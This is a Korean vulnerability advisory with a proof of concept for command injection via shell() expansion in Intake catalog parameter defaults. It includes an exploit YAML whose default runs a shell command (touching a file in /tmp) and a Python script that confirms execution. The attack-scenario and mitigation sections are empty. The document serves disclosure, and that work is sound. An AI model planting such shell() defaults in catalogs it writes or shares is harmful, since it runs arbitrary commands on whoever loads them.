
개념 증명(PoC)으로, Intake 카탈로그의 매개변수 기본값에서 shell() 확장을 통한 명령 주입을 시연하며, 익스플로잇 YAML과 재현 스크립트를 포함합니다.
CVE-2026-33310(매개변수 기본값의 shell() 확장을 통한 명령 주입)
매개변수 기본값 내의 shell() 구문은 카탈로그 파싱 과정에서 자동으로 확장되는 것으로 보입니다. 카탈로그에 shell()와 같은 매개변수 기본값이 포함된 경우, 카탈로그 소스에 접근할 때 해당 명령이 실행될 수 있습니다. 즉, 사용자가 악성 카탈로그 YAML을 로드하면 포함된 명령이 호스트 시스템에서 실행될 수 있습니다. 이 동작은 잠재적으로 CWE-78: OS 명령 주입 / 안전하지 않은 셸 확장으로 분류될 수 있습니다.
이 문제는 카탈로그 소스에 접근할 때 매개변수 기본값이 확장되는 방식에서 발생하는 것으로 보입니다.
카탈로그 로딩 및 소스 접근 중:
Intake는 매개변수 기본값을 해석합니다 기본값 확장을 담당하는 함수는 shell() 구문을 처리합니다 shell 표현식은 하위 프로세스 실행을 트리거합니다 이 작업은 카탈로그 평가 중에 발생하므로, 사용자가 데이터셋 자체와 명시적으로 상호작용하기 전에 명령이 실행될 수 있습니다.
영향을 받는 로직은 다음을 포함하는 것으로 보입니다:
expand_defaults()
및 관련 매개변수 파싱 메커니즘.
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
잠재적인 공격 시나리오는 다음과 같을 수 있습니다:
이 동작이 의도되지 않은 것으로 확인되면, 공격자는 다음을 통해 악성 카탈로그 파일을 배포할 수 있습니다:
가능한 완화 조치는 다음과 같을 수 있습니다: